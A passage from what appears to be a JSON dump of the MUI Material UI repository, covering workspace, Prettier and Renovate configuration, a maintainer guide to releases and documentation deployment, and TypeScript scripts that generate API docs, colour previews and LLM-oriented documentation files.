extends AnyComponent>(Component: T): React.ForwardRefExoticComponent<React.PropsWithoutRef<React.JSX.LibraryManagedAttributes<T, ExecutionProps>> & React.RefAttributes<T>> & { [key in Exclude<keyof T, T extends React.MemoExoticComponent<any> ? \"propTypes\" | \"defaultProps\" | \"displayName\" | \"$$typeof\" | \"type\" | \"compare\" : T extends React.ForwardRefExoticComponent<any> ? \"propTypes\" | \"defaultProps\" | \"displayName\" | \"$$typeof\" | \"render\" : \"length\" | \"propTypes\" | \"contextType\" | \"contextTypes\" | \"childContextTypes\" | \"defaultProps\" | \"displayName\" | \"getDerivedStateFromProps\" | \"getDerivedStateFromError\" | \"name\" | \"type\" | \"getDefaultProps\" | \"mixins\" | \"prototype\" | \"caller\" | \"callee\" | \"arguments\" | \"arity\">]: T[key]; };\n"
  },
  {
    "path": "pnpm-workspace.yaml",
    "content": "packages:\n  - packages/*\n  - packages/mui-envinfo/test\n  - packages-internal/*\n  - docs\n  - test\n  - test/*\n\npatchedDependencies:\n  styled-components: patches/styled-components.patch\n\nonlyBuiltDependencies:\n  - '@vvago/vale'\n\nengineStrict: true\n\ncatalogs:\n  docs:\n    stylis: '4.2.0'\n    '@emotion/cache': '^11.14.0'\n    '@emotion/react': '^11.14.0'\n    '@emotion/server': '^11.11.0'\n    '@emotion/styled': '^11.14.1'\n"
  },
  {
    "path": "prettier.config.mjs",
    "content": "import { createBaseConfig, docsOverrides } from '@mui/internal-code-infra/prettier';\n\nexport default createBaseConfig({\n  overrides: docsOverrides,\n});\n"
  },
  {
    "path": "renovate.json",
    "content": "{\n  \"$schema\": \"https://docs.renovatebot.com/renovate-schema.json\",\n  \"extends\": [\"github>mui/mui-public//renovate/default\"],\n  \"schedule\": \"* 0-4 * * 7\",\n  \"lockFileMaintenance\": {\n    \"schedule\": \"* 0-4 1 * *\"\n  },\n  \"packageRules\": [\n    {\n      \"groupName\": \"Pigment CSS\",\n      \"matchPackageNames\": [\"@pigment-css/*\"]\n    },\n    {\n      \"groupName\": \"Font awesome SVG icons\",\n      \"matchPackageNames\": \"@fortawesome/*\"\n    },\n    {\n      \"groupName\": \"JSS\",\n      \"matchPackageNames\": [\n        \"css-jss\",\n        \"jss-plugin-cache\",\n        \"jss-plugin-camel-case\",\n        \"jss-plugin-compose\",\n        \"jss-plugin-default-unit\",\n        \"jss-plugin-expand\",\n        \"jss-plugin-extend\",\n        \"jss-plugin-global\",\n        \"jss-plugin-isolate\",\n        \"jss-plugin-nested\",\n        \"jss-plugin-props-sort\",\n        \"jss-plugin-rule-value-function\",\n        \"jss-plugin-rule-value-observable\",\n        \"jss-plugin-template\",\n        \"jss-plugin-vendor-prefixer\",\n        \"jss-preset-default\",\n        \"jss-starter-kit\",\n        \"jss\",\n        \"react-jss\"\n      ]\n    },\n    {\n      \"groupName\": \"MUI X\",\n      \"matchPackageNames\": [\"@mui/x-*\"]\n    },\n    {\n      \"groupName\": \"@types/node\",\n      \"matchPackageNames\": [\"@types/node\"],\n      \"allowedVersions\": \"< 21.0.0\"\n    },\n    {\n      \"groupName\": \"nx\",\n      \"description\": \"FIXME: Seems to cause never-ending windows builds in CI (e.g. https://github.com/mui/material-ui/actions/runs/16268045027/job/45928292854)\",\n      \"matchPackageNames\": [\"nx\"],\n      \"allowedVersions\": \"<= 20\"\n    },\n    {\n      \"groupName\": \"bundling fixtures\",\n      \"matchFileNames\": [\"test/bundling/fixtures/**/package.json\"],\n      \"schedule\": \"* * 1 1,7 *\"\n    },\n    {\n      \"description\": \"Prevent major version updates of bundler/framework packages in bundling fixtures\",\n      \"matchFileNames\": [\"test/bundling/fixtures/**/package.json\"],\n      \"matchPackageNames\": [\"esbuild\", \"gatsby\", \"next\", \"rollup\", \"snowpack\", \"vite\", \"webpack\"],\n      \"matchUpdateTypes\": [\"major\"],\n      \"enabled\": false\n    },\n    {\n      \"groupName\": \"examples\",\n      \"matchFileNames\": [\"examples/**/package.json\"],\n      \"enabled\": false\n    },\n    {\n      \"groupName\": \"envinfo tests\",\n      \"matchFileNames\": [\"packages/mui-envinfo/test/package.json\"],\n      \"matchPackageNames\": [\"@mui/*\"],\n      \"enabled\": false\n    },\n    {\n      \"groupName\": \"codemod tests\",\n      \"description\": \"Prevent renovate from renaming @material-ui/core to @mui/material in the codemod tests.\",\n      \"matchFileNames\": [\"packages/mui-codemod/package.json\"],\n      \"matchPackageNames\": [\"@material-ui/core\"],\n      \"enabled\": false\n    },\n    {\n      \"matchPackageNames\": [\"mcr.microsoft.com/playwright\"],\n      \"matchCurrentVersion\": \"v1.49.1-noble\",\n      \"enabled\": false\n    }\n  ]\n}\n"
  },
  {
    "path": "scripts/README.md",
    "content": "# Scripts\n\n## Release\n\n### Prerequisites\n\n1. Make sure you have added the `material-ui-docs` and `upstream` remotes to deploy the documentation:\n   ```bash\n   git remote add upstream https://github.com/mui/material-ui.git\n   git remote add material-ui-docs https://github.com/mui/material-ui-docs.git\n   ```\n2. Generate a GitHub Token at https://github.com/settings/personal-access-tokens/new and add it to your shell rc script (either `.bashrc` or `.zshrc`) as `GITHUB_TOKEN`. If using a Classic token, add `repo:public` to the token's scope.\n\n### Releasing a minor version\n\nA minor release goes like this:\n\n#### Prepare\n\nThe following steps must be proposed as a pull request.\n\n1. Fetch the upstream tags: `git fetch upstream --tags`.\n2. Update the root `/package.json`'s version.\n3. Generate the changelog with `pnpm release:changelog`:\n   - The output must be prepended to the top level `CHANGELOG.md`\n   - `pnpm release:changelog --help` for more information. If your GitHub token is not in your env, pass it as `--githubToken <my-token>` to the above command.\n4. Clean the generated changelog:\n   1. Match the format of https://github.com/mui/material-ui/releases.\n   2. Change the packages names casing to be lowercase if applicable\n5. Run `pnpm release:version`. Keep in mind:\n   1. Only packages that have changes since the last release should have their version bumped.\n   2. If they have changes, packages that follow Material-UI's versioning scheme should be bumped to the same version as the root `package.json`. This might require skipping some version numbers.\n6. Open PR with changes and wait for review and green CI.\n7. Merge PR once CI is green and it has been approved.\n\n#### Release\n\n1. Go to the [publish action](https://github.com/mui/material-ui/actions/workflows/publish.yml).\n2. Choose \"Run workflow\" dropdown\n\n   > - **Branch:** master\n   > - **Commit SHA to release from:** the commit that contains the merged release on master. This commit is linked to the GitHub release.\n   > - **Run in dry-run mode:** Used for debugging.\n   > - **Create GitHub release:** Keep selected if you want a GitHub release to be automatically created from the changelog.\n   > - **npm dist tag to publish to** Use to publish legacy or canary versions.\n\n3. Click \"Run workflow\"\n4. Refresh the page to see the newly created workflow, and click it.\n5. The next screen will say \"@username requested your review to deploy to npm-publish\", click \"Review deployments\" and authorize your workflow run. **Never approve workflow runs you didn't initiaite.**\n\n#### Documentation\n\n`pnpm docs:deploy` to deploy the documentation (it lives at https://material-ui.netlify.app/) with the latest changes.\nForce push if necessary.\n\n#### Publish GitHub release\n\nAfter the documentation deployment is done, review the draft release that was created, then publish it. At this point the release tag gets created. [GitHub releases page](https://github.com/mui/material-ui/releases)\n\n#### Announce\n\nAfter the docs is live, follow the instructions in https://mui-org.notion.site/Releases-7490ef9581b4447ebdbf86b13164272d.\n\n### Releasing a hotfix version\n\nA hotfix release could happen if there is a regression fix that could not wait for the monthly release cycle and the master branch already contains not yet to be released commits. If you can publish an earlier minor or patch, just prefer that over a hotfix release.\n\nIt goes like this:\n\n#### Prepare\n\nHotfix branch creation requires the help of a repository admin. They need to take the following steps:\n\n1. Check out the commit for the latest release tag.\n2. Create a branch named `release/<PATCH_VERSION>` where `<PATCH_VERSION>` is the next semver patch version from that release tag.\n3. force push the branch to `upstream`:\n\n   ```bash\n   git push -f upstream release/<PATCH_VERSION>\n   ```\n\nThe following steps must be proposed as a pull request to `release/<PATCH_VERSION>`.\n\n1. check out `release/<PATCH_VERSION>` and cherry-pick the hotfix commits on top of it.\n2. Generate the changelog with `pnpm release:changelog`\n   The output must be prepended to the top level `CHANGELOG.md`\n   `pnpm release:changelog --help` for more information. If your GitHub token is not in your env, pass it as `--githubToken <my-token>` to the above command.\n3. Clean the generated changelog:\n   1. Match the format of https://github.com/mui/material-ui/releases.\n   2. Change the packages names casing to be lowercase if applicable\n4. Update the root `/package.json`'s version\n5. Run `pnpm release:version`. Keep in mind:\n   1. Only packages that have changes since the last release should have their version bumped.\n   2. If they have changes, packages that follow Material-UI's versioning scheme should be bumped to the same version as the root `package.json`. This might require skipping some version numbers.\n6. Open PR with changes and wait for review and green CI.\n7. Merge PR into `release/<PATCH_VERSION>` once CI is green and it has been approved.\n8. Open and merge a PR from `release/<PATCH_VERSION>` to master to correct the package versioning and update the changelog.\n\n### Release the packages\n\n1. Run `pnpm release:publish`. You may be asked to authenticate with GitHub when running the command for the first time or after a very long time.\n2. It'll automatically fetch the latest merged release PR and ask for confirmation before publishing.\n3. If you already know the sha of the commit, you can pass it directly like `pnpm release:publish --sha <your-sha>`.\n4. Other flags for the command:\n\n   > - **--dry-run** Used for debugging. Or directly run `pnpm release:publish:dry-run`.\n   > - **--dist-tag** Use to publish legacy or canary versions.\n\n5. This command invokes the [Publish](https://github.com/mui/base-ui/actions/workflows/publish.yml) GitHub action. It'll log the url which can be opened to see the latest workflow run.\n6. The next screen shows \"@username requested your review to deploy to npm-publish\", click \"Review deployments\" and authorize your workflow run. **Never approve workflow runs you didn't initiaite.**\n\n#### Documentation\n\nRun `git push -f material-ui-docs HEAD:latest` to deploy the documentation (it lives at https://material-ui.netlify.app/) with the latest changes.\nForce push if necessary.\n\n#### Publish GitHub release\n\nAfter the documentation deployment is done, review and then publish the release that was created in draft mode during the release step [GitHub releases page](https://github.com/mui/material-ui/releases)\n\n#### Cleanup\n\nAfter the release is done, merge the branch back to master. While merging make sure to resolve conflicts considering master may have future changes done in the same files.\n\n#### Announce\n\nAfter the docs is live, follow the instructions in https://mui-org.notion.site/Releases-7490ef9581b4447ebdbf86b13164272d.\n\n## Deploy documentation without a release\n\nSometimes it is necessary to deploy the selected commit(s) without\ndeploying all the changes that have been merged into the main branch\nsince the previous release (for example publishing a blog post or releasing\nurgent docs updates).\n\n**Note:** The instructions below are for deploying to the `latest` branch of the `material-ui-docs` repository, which points to `https://mui.com/`. If you need to deploy to a different subdomain, replace `latest` with the appropriate branch name:\n\n- `latest`: `https://mui.com/`\n- `next`: `https://next.mui.com/`\n- `v*.x`: `https://v*.mui.com/`\n\nTo do so, follow these steps:\n\n1. Add the `material-ui-docs` remote if you haven't done this already:\n\n   ```bash\n   git remote add material-ui-docs https://github.com/mui/material-ui-docs.git\n   ```\n\n2. Fetch the latest changes from the `material-ui-docs` remote:\n\n   ```bash\n   git fetch material-ui-docs latest\n   ```\n\n3. Switch to the `latest` branch from `material-ui-docs` remote:\n\n   ```bash\n   git switch --detach material-ui-docs/latest\n   ```\n\n4. Cherry-pick the commit(s) that you want to include in the new deployment:\n\n   ```bash\n   git cherry-pick <commit>\n   ```\n\n   It will commit the changes if there are no conflicts.\n\n   In case of conflicts you will need to resolve them and commit the changes manually.\n\n   If this command fails with the message 'bad revision', it means that the commit doesn't exist on your local repository.\n   The commit might have been created on a remote branch, probably when merging into `master` or `v*.x`.\n   In this case, you'll have to fetch the latest changes of the corresponding remote branch and then try again.\n\n5. Push the changes to the `material-ui-docs` remote:\n\n   ```bash\n   git push material-ui-docs HEAD:latest\n   ```\n\n6. Switch from detached `HEAD` back to your last checked out branch:\n\n   ```bash\n   git checkout -\n   ```\n"
  },
  {
    "path": "scripts/buildApiDocs/index.ts",
    "content": "import yargs, { ArgumentsCamelCase } from 'yargs';\nimport { ProjectSettings, buildApi } from '@mui-internal/api-docs-builder';\nimport {\n  materialUiProjectSettings,\n  muiSystemProjectSettings,\n} from '@mui-internal/api-docs-builder-core';\n\nconst projectSettings: ProjectSettings[] = [materialUiProjectSettings, muiSystemProjectSettings];\n\ntype CommandOptions = { grep?: string; rawDescriptions?: boolean };\n\nasync function run(argv: ArgumentsCamelCase<CommandOptions>) {\n  const grep = argv.grep == null ? null : new RegExp(argv.grep);\n  const rawDescriptions = argv.rawDescriptions === true;\n  return buildApi(projectSettings, grep, rawDescriptions);\n}\n\nyargs(process.argv.slice(2))\n  .command({\n    command: '$0',\n    describe: 'Generates API documentation for the MUI packages.',\n    builder: (command) => {\n      return command\n        .option('grep', {\n          description:\n            'Only generate files for component filenames matching the pattern. The string is treated as a RegExp.',\n          type: 'string',\n        })\n        .option('rawDescriptions', {\n          description: 'Whether to output raw JSDoc descriptions or process them as markdown.',\n          type: 'boolean',\n          default: false,\n        });\n    },\n    handler: run,\n  })\n  .help()\n  .strict(true)\n  .version(false)\n  .parse();\n"
  },
  {
    "path": "scripts/buildApiDocs/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"module\": \"node16\",\n    \"target\": \"es2022\",\n    \"moduleResolution\": \"node16\",\n    \"isolatedModules\": true,\n    \"resolveJsonModule\": true,\n\n    \"noEmit\": true,\n    \"allowJs\": true,\n    \"esModuleInterop\": true,\n    \"noUnusedLocals\": false,\n    \"skipLibCheck\": true,\n    \"strict\": true,\n    \"jsx\": \"react\",\n\n    \"types\": [\"node\", \"vitest/globals\"],\n    \"paths\": {\n      \"@mui/types\": [\"../../packages/mui-types\"],\n      \"@mui/utils\": [\"../../packages/mui-utils/src\"],\n      \"@mui/utils/*\": [\"../../packages/mui-utils/src/*\"]\n    }\n  },\n  \"include\": [\"./**/*.ts\"]\n}\n"
  },
  {
    "path": "scripts/buildColorTypes.js",
    "content": "import * as path from 'path';\nimport * as fs from 'node:fs/promises';\nimport * as colors from '@mui/material/colors';\n\n// use netlify deploy preview if you want to test changes\nconst HOST = 'https://mui.com/';\n\nfunction getColorHref(name, variant) {\n  return `static/colors-preview/${name}-${variant}-24x24.svg`;\n}\n\nfunction buildColorType(name, variants) {\n  const typesFilename = path.resolve(__dirname, `../packages/mui-material/src/colors/${name}.d.ts`);\n\n  const typescript = `\n/**\n * ${Object.entries(variants)\n   .map((entry) => {\n     const [variant] = entry;\n\n     return `![${name} ${variant}](${HOST}${getColorHref(name, variant)})`;\n   })\n   .join(' ')}\n */\ndeclare const ${name}: {\n${Object.entries(variants)\n  .map((entry) => {\n    const [variant, color] = entry;\n\n    return `  /**\n   * Preview: ![${name} ${variant}](${HOST}${getColorHref(name, variant)})\n   */\n  ${variant}: '${color}';`;\n  })\n  .join('\\n')}\n};\n\nexport default ${name};\n`;\n\n  return fs.writeFile(typesFilename, typescript, { encoding: 'utf8' });\n}\n\nfunction buildColorPreviews(name, variants) {\n  const nextPublicPath = path.resolve(__dirname, '../docs/public/');\n\n  return Promise.all(\n    Object.entries(variants).map(async (variantEntry) => {\n      const [variant, color] = variantEntry;\n\n      const svg = `<svg xmlns=\"http://www.w3.org/2000/svg\" height=\"24\" viewBox=\"0 0 24 24\" width=\"24\">\n<rect width=\"100%\" height=\"100%\" fill=\"${color}\"/>\n</svg>`;\n      const filename = path.resolve(nextPublicPath, getColorHref(name, variant));\n      await fs.writeFile(filename, svg, { encoding: 'utf8' });\n    }),\n  );\n}\n\n/**\n * The goal is to have a preview of the actual color and the color string in IntelliSense\n * We create for each color an svg that is filled with that color and reference\n * that svg in the corresponding JSDoc.\n * Since we use https://mui.com as a reference changes are only visible\n * after release\n */\nasync function main() {\n  await Promise.all(\n    Object.entries(colors).map(async (entry) => {\n      const [name, variants] = entry;\n\n      await Promise.all([buildColorPreviews(name, variants), buildColorType(name, variants)]);\n    }),\n  );\n}\n\nmain().catch((error) => {\n  console.error(error);\n  process.exit(error.code || 1);\n});\n"
  },
  {
    "path": "scripts/buildLlmsDocs/index.ts",
    "content": "/**\n * LLM Documentation Generator\n *\n * This script generates LLM-optimized documentation by processing MUI component markdown files\n * and non-component documentation files to create comprehensive, standalone documentation.\n *\n * ## Main Workflow:\n *\n * 1. **Component Processing**:\n *    - Discovers all components using the API docs builder infrastructure\n *    - For each component, finds its markdown documentation and API JSON\n *    - Processes markdown by replacing `{{\"demo\": \"filename.js\"}}` syntax with actual code snippets\n *    - Appends API documentation (props, slots, CSS classes) to the markdown\n *    - Outputs to files like `material-ui/react-accordion.md`\n *\n * 2. **Non-Component Processing** (optional):\n *    - Processes markdown files from specified folders (e.g., `system`, `material/customization`)\n *    - Applies the same demo replacement logic\n *    - Uses URL transformation logic to maintain consistent paths with components\n *    - Outputs to files like `system/borders.md`, `material-ui/customization/color.md`\n *\n * 3. **Index Generation** (llms.txt):\n *    - Generates `llms.txt` index files for each top-level directory\n *    - Groups files by category (components, customization, getting-started, etc.)\n *    - Creates markdown-formatted lists with relative paths and descriptions\n *    - Outputs to files like `material-ui/llms.txt`, `system/llms.txt`\n *\n * ## Key Features:\n *\n * - **Demo Replacement**: Converts `{{\"demo\": \"filename.js\"}}` to actual JSX/TSX code snippets\n * - **API Integration**: Automatically includes component API documentation (props, slots, CSS)\n * - **Reusable**: Accepts project settings via CLI to work across different repositories\n * - **Filtering**: Supports grep patterns to process specific components/files\n * - **Path Consistency**: Uses existing URL transformation logic for consistent output structure\n * - **Auto-indexing**: Generates llms.txt files with categorized documentation listings\n *\n * ## Usage Examples:\n *\n * ```bash\n * # Process all Material UI components\n * pnpm tsx scripts/buildLlmsDocs/index.ts --projectSettings ./packages/api-docs-builder-core/materialUi/projectSettings.ts\n *\n * # Process specific components with non-component docs\n * pnpm tsx scripts/buildLlmsDocs/index.ts \\\n *   --projectSettings ./packages/api-docs-builder-core/materialUi/projectSettings.ts \\\n *   --nonComponentFolders system material/customization \\\n *   --grep \"Button|borders\"\n * ```\n *\n * ## Output Structure:\n *\n * - **Components**: `material-ui/react-{component}.md` (e.g., `material-ui/react-button.md`)\n * - **Customization**: `material-ui/customization/{topic}.md` (e.g., `material-ui/customization/color.md`)\n * - **Getting Started**: `material-ui/getting-started/{topic}.md` (e.g., `material-ui/getting-started/installation.md`)\n * - **Index Files**: `{directory}/llms.txt` (e.g., `material-ui/llms.txt`, `system/llms.txt`)\n */\n\nimport * as fs from 'fs';\nimport * as path from 'path';\nimport { pathToFileURL } from 'node:url';\nimport yargs, { ArgumentsCamelCase } from 'yargs';\nimport { hideBin } from 'yargs/helpers';\nimport { kebabCase } from 'es-toolkit/string';\nimport { processMarkdownFile, processApiFile } from '@mui/internal-scripts/generate-llms-txt';\nimport { ComponentInfo, ProjectSettings } from '@mui-internal/api-docs-builder';\nimport { getHeaders } from '@mui/internal-markdown';\nimport findComponents from '@mui-internal/api-docs-builder/utils/findComponents';\nimport findPagesMarkdown from '@mui-internal/api-docs-builder/utils/findPagesMarkdown';\n\n// Determine the host based on environment variables\nlet ORIGIN: string | undefined = 'https://mui.com';\n\nif (process.env.CONTEXT === 'deploy-preview') {\n  // ref: https://docs.netlify.com/build/configure-builds/environment-variables/\n  ORIGIN = process.env.DEPLOY_PRIME_URL;\n} else if (\n  process.env.CONTEXT === 'branch-deploy' &&\n  (process.env.HEAD === 'master' || process.env.HEAD === 'next' || process.env.HEAD?.match(/^v\\d/))\n) {\n  if (process.env.HEAD === 'master') {\n    ORIGIN = process.env.DEPLOY_PRIME_URL;\n  } else {\n    // https://next.mui.com, https://v6.mui.com, etc.\n    ORIGIN = `https://${process.env.HEAD.replace('.x', '')}.mui.com`;\n  }\n}\n\ninterface ComponentDocInfo {\n  name: string;\n  componentInfo: ComponentInfo;\n  demos: Array<{ demoPageTitle: string; demoPathname: string }>;\n  markdownPath?: string;\n  apiJsonPath?: string;\n}\n\ninterface GeneratedFile {\n  outputPath: string;\n  title: string;\n  description: string;\n  originalMarkdownPath: string;\n  category: string;\n  orderIndex?: number; // Track the order for non-component folders\n}\n\ntype CommandOptions = {\n  grep?: string;\n  outputDir?: string;\n  projectSettings?: string;\n};\n\n/**\n * Find all components using the API docs builder infrastructure\n */\nasync function findComponentsToProcess(\n  projectSettings: ProjectSettings,\n  grep: RegExp | null,\n): Promise<ComponentDocInfo[]> {\n  const components: ComponentDocInfo[] = [];\n\n  // Iterate through TypeScript projects, using the same logic as buildApi.ts\n  for (const project of projectSettings.typeScriptProjects) {\n    const projectComponents = findComponents(path.join(project.rootPath, 'src')).filter(\n      (component) => {\n        if (projectSettings.skipComponent(component.filename)) {\n          return false;\n        }\n\n        if (grep === null) {\n          return true;\n        }\n\n        return grep.test(component.filename);\n      },\n    );\n\n    for (const component of projectComponents) {\n      // Get component info using the API docs builder\n      const componentInfo = projectSettings.getComponentInfo(component.filename);\n\n      // Skip if component should be skipped (internal, etc.)\n      const fileInfo = componentInfo.readFile();\n      if (fileInfo.shouldSkip) {\n        continue;\n      }\n\n      // Get demos for this component\n      const demos = componentInfo.getDemos();\n\n      // Skip if no demos found (likely not a public component)\n      if (demos.length === 0) {\n        continue;\n      }\n\n      // Get API JSON path\n      const apiJsonPath = path.join(\n        componentInfo.apiPagesDirectory,\n        `${path.basename(componentInfo.apiPathname)}.json`,\n      );\n\n      const primaryDemo = demos.find(\n        (demo) =>\n          demo.demoPathname.toLowerCase().includes(`/${kebabCase(componentInfo.name)}/`) ||\n          demo.demoPathname.toLowerCase().includes(`/react-${kebabCase(componentInfo.name)}/`),\n      );\n\n      const demoToUse = primaryDemo || demos[0];\n      const markdownPathToUse = demoToUse ? demoToUse.filePath : undefined;\n\n      components.push({\n        name: componentInfo.name,\n        componentInfo,\n        demos: primaryDemo ? [primaryDemo] : demos,\n        markdownPath: markdownPathToUse,\n        apiJsonPath: fs.existsSync(apiJsonPath) ? apiJsonPath : undefined,\n      });\n    }\n  }\n\n  return components;\n}\n\n/**\n * Extract title and description from markdown content\n */\nfunction extractMarkdownInfo(markdownPath: string): { title: string; description: string } {\n  try {\n    const content = fs.readFileSync(markdownPath, 'utf-8');\n    const headers = getHeaders(content);\n\n    // Get title from frontmatter or first h1\n    const title =\n      headers.title || content.match(/^# (.+)$/m)?.[1] || path.basename(markdownPath, '.md');\n\n    // Extract description from the first paragraph with class=\"description\"\n    const descriptionMatch = content.match(/<p class=\"description\">([^<]+)<\\/p>/);\n    let description = '';\n\n    if (descriptionMatch) {\n      description = descriptionMatch[1].trim();\n    } else {\n      // Fallback: get first paragraph after title (excluding headers)\n      const paragraphMatch = content.match(/^# .+\\n\\n(?!#)(.+?)(?:\\n\\n|$)/m);\n      if (paragraphMatch && !paragraphMatch[1].startsWith('#')) {\n        description = paragraphMatch[1].trim();\n      }\n    }\n\n    return { title, description };\n  } catch (error) {\n    return {\n      title: path.basename(markdownPath, '.md'),\n      description: '',\n    };\n  }\n}\n\n/**\n * Find all non-component markdown files from specified folders\n */\nfunction findNonComponentMarkdownFiles(\n  projectSettings: ProjectSettings,\n  grep: RegExp | null,\n): Array<{ markdownPath: string; outputPath: string }> {\n  if (!projectSettings.pagesManifestPath) {\n    return [];\n  }\n  const pagesContent = fs.readFileSync(projectSettings.pagesManifestPath, 'utf-8');\n\n  // Extract all pathname strings using regex\n  const pathnameRegex = /pathname:\\s*['\"`]([^'\"`]+)['\"`]/g;\n  const matches = Array.from(pagesContent.matchAll(pathnameRegex));\n\n  // Get all markdown files using the existing findPagesMarkdown utility\n  const allMarkdownFiles = findPagesMarkdown();\n\n  const files: Array<{ markdownPath: string; outputPath: string }> = [];\n\n  for (const match of matches) {\n    const pathname = match[1];\n    const parsedPathname = pathname\n      .replace('/material-ui/', '/material/')\n      .replace('/react-', '/components/');\n    // Apply grep filter if specified\n    if (grep) {\n      const fileName = path.basename(parsedPathname);\n      if (!grep.test(fileName) && !grep.test(parsedPathname)) {\n        continue;\n      }\n    }\n\n    const ignoredPaths = [\n      '/material-ui/experimental-api/',\n      '/material-ui/migration/migrating-to-pigment-css',\n      '/material-ui/about-the-lab',\n    ];\n\n    // Filter out external links and special patterns\n    if (\n      pathname.startsWith('/material-ui/') &&\n      !ignoredPaths.some((ignored) => pathname.startsWith(ignored))\n    ) {\n      // Match by filename basename to avoid pathname collisions when multiple files\n      // exist in the same directory (e.g., upgrade-to-v7.md and upgrade-to-native-color.md)\n      const lastSegment = parsedPathname.split('/').filter(Boolean).pop();\n      const page = allMarkdownFiles.find((p) => {\n        const fileBasename = path.basename(p.filename).replace(/\\.mdx?$/, '');\n        // p.pathname already has the parent path (from findPagesMarkdown which strips the filename)\n        return fileBasename === lastSegment && p.pathname === parsedPathname;\n      });\n\n      if (page) {\n        files.push({\n          markdownPath: page.filename,\n          outputPath: `${pathname.startsWith('/') ? pathname.slice(1) : pathname}.md`,\n        });\n      }\n    }\n  }\n\n  return files;\n}\n\n/**\n * Process a single component\n */\nfunction processComponent(component: ComponentDocInfo): string | null {\n  // Processing component: ${component.name}\n\n  // Skip if no markdown file found\n  if (!component.markdownPath) {\n    console.error(`Warning: No markdown file found for component: ${component.name}`);\n    return null;\n  }\n\n  // Process the markdown file with demo replacement\n  let processedMarkdown = processMarkdownFile(component.markdownPath);\n\n  // Read the frontmatter to get all components listed in this markdown file\n  const markdownContent = fs.readFileSync(component.markdownPath, 'utf-8');\n  const headers = getHeaders(markdownContent);\n  const componentsInPage = headers.components || [];\n\n  // Add API sections for all components listed in the frontmatter\n  if (componentsInPage.length > 0) {\n    for (const componentName of componentsInPage) {\n      // Construct the API JSON path based on the project settings\n      const apiJsonPath = path.join(\n        component.componentInfo.apiPagesDirectory,\n        `${kebabCase(componentName)}.json`,\n      );\n\n      const apiMarkdown = processApiFile(apiJsonPath, { origin: ORIGIN });\n      processedMarkdown += `\\n\\n${apiMarkdown}`;\n    }\n  } else if (component.apiJsonPath) {\n    const apiMarkdown = processApiFile(component.apiJsonPath, { origin: ORIGIN });\n    processedMarkdown += `\\n\\n${apiMarkdown}`;\n  }\n\n  return processedMarkdown;\n}\n\n/**\n * Convert kebab-case to Title Case\n */\nfunction toTitleCase(kebabCaseStr: string): string {\n  return kebabCaseStr\n    .split('-')\n    .map((word) => word.charAt(0).toUpperCase() + word.slice(1))\n    .join(' ');\n}\n\n/**\n * Generate llms.txt content for a specific directory\n */\nfunction generateLlmsTxt(\n  generatedFiles: GeneratedFile[],\n  projectName: string,\n  baseDir: string,\n  origin?: string,\n): string {\n  // Group files by category\n  const groupedByCategory: Record<string, GeneratedFile[]> = {};\n\n  for (const file of generatedFiles) {\n    const category = file.category;\n    if (!groupedByCategory[category]) {\n      groupedByCategory[category] = [];\n    }\n    groupedByCategory[category].push(file);\n  }\n\n  // Generate content\n  let content = `# ${projectName}\\n\\n`;\n  content += `This is the documentation for the ${projectName} package.\\n`;\n  content += `It contains comprehensive guides, components, and utilities for building user interfaces.\\n\\n`;\n\n  // Add sections for each category\n  // Sort categories to ensure components appear first, then by orderIndex for non-component folders\n  const sortedCategories = Object.keys(groupedByCategory).sort((a, b) => {\n    if (a === 'components') {\n      return -1;\n    }\n    if (b === 'components') {\n      return 1;\n    }\n\n    // For non-component categories, check if they have orderIndex\n    const filesA = groupedByCategory[a];\n    const filesB = groupedByCategory[b];\n    const orderIndexA = filesA[0]?.orderIndex ?? Number.MAX_SAFE_INTEGER;\n    const orderIndexB = filesB[0]?.orderIndex ?? Number.MAX_SAFE_INTEGER;\n\n    if (orderIndexA !== orderIndexB) {\n      return orderIndexA - orderIndexB;\n    }\n\n    return a.localeCompare(b);\n  });\n\n  for (const category of sortedCategories) {\n    const files = groupedByCategory[category];\n    if (files.length === 0) {\n      continue;\n    }\n\n    const sectionTitle = toTitleCase(category);\n    content += `## ${sectionTitle}\\n\\n`;\n\n    // Sort files by title (components) or maintain original order (non-components)\n    if (category === 'components') {\n      files.sort((a, b) => a.title.localeCompare(b.title));\n    }\n    // Non-component files are already in the order they were discovered\n\n    for (const file of files) {\n      // Calculate relative path from the baseDir to the file\n      const relativePath = file.outputPath.startsWith(`${baseDir}/`)\n        ? `/${baseDir}/${file.outputPath.substring(baseDir.length + 1)}`\n        : `/${file.outputPath}`;\n      const url = origin ? new URL(relativePath, origin).href : relativePath;\n      content += `- [${file.title}](${url})`;\n      if (file.description) {\n        content += `: ${file.description}`;\n      }\n      content += '\\n';\n    }\n    content += '\\n';\n  }\n\n  return content.trim();\n}\n\n/**\n * Main build function\n */\nasync function buildLlmsDocs(argv: ArgumentsCamelCase<CommandOptions>): Promise<void> {\n  const grep = argv.grep ? new RegExp(argv.grep) : null;\n  const outputDir = argv.outputDir || path.join(process.cwd(), 'docs/public');\n\n  // Load project settings from the specified path\n  if (!argv.projectSettings) {\n    throw new Error('--projectSettings is required');\n  }\n\n  let projectSettings: ProjectSettings;\n  try {\n    const settingsPath = path.resolve(argv.projectSettings);\n    const settingsUrl = pathToFileURL(settingsPath).href;\n    const settingsModule = await import(settingsUrl);\n    projectSettings = settingsModule.projectSettings || settingsModule.default || settingsModule;\n  } catch (error) {\n    throw new Error(`Failed to load project settings from ${argv.projectSettings}: ${error}`);\n  }\n\n  // Find all components\n  const components = await findComponentsToProcess(projectSettings, grep);\n\n  // Found ${components.length} components to process\n\n  // Find non-component markdown files if specified in project settings\n  const nonComponentFolders = (projectSettings as any).nonComponentFolders;\n  const nonComponentFiles = findNonComponentMarkdownFiles(projectSettings, grep);\n\n  // Track generated files for llms.txt\n  const generatedFiles: GeneratedFile[] = [];\n  const generatedComponentRecord: Record<string, boolean> = {};\n\n  // Process each component\n  let processedCount = 0;\n  for (const component of components) {\n    const processedMarkdown = processComponent(component);\n\n    if (!processedMarkdown) {\n      continue;\n    }\n\n    // Use the component's demo pathname to create the output structure\n    // e.g., /material-ui/react-accordion/ -> material-ui/react-accordion.md\n    const outputFileName = component.demos[0]\n      ? `${component.demos[0].demoPathname.replace(/^\\//, '').replace(/\\/$/, '')}.md`\n      : `${component.componentInfo.apiPathname.replace(/^\\//, '').replace(/\\/$/, '')}.md`;\n\n    const outputPath = path.join(outputDir, outputFileName);\n\n    // Check if this file has already been generated (avoid duplicates for components that share the same markdown file)\n    const existingFile = generatedFiles.find((f) => f.outputPath === outputFileName);\n    if (!existingFile) {\n      // Ensure the directory exists\n      const 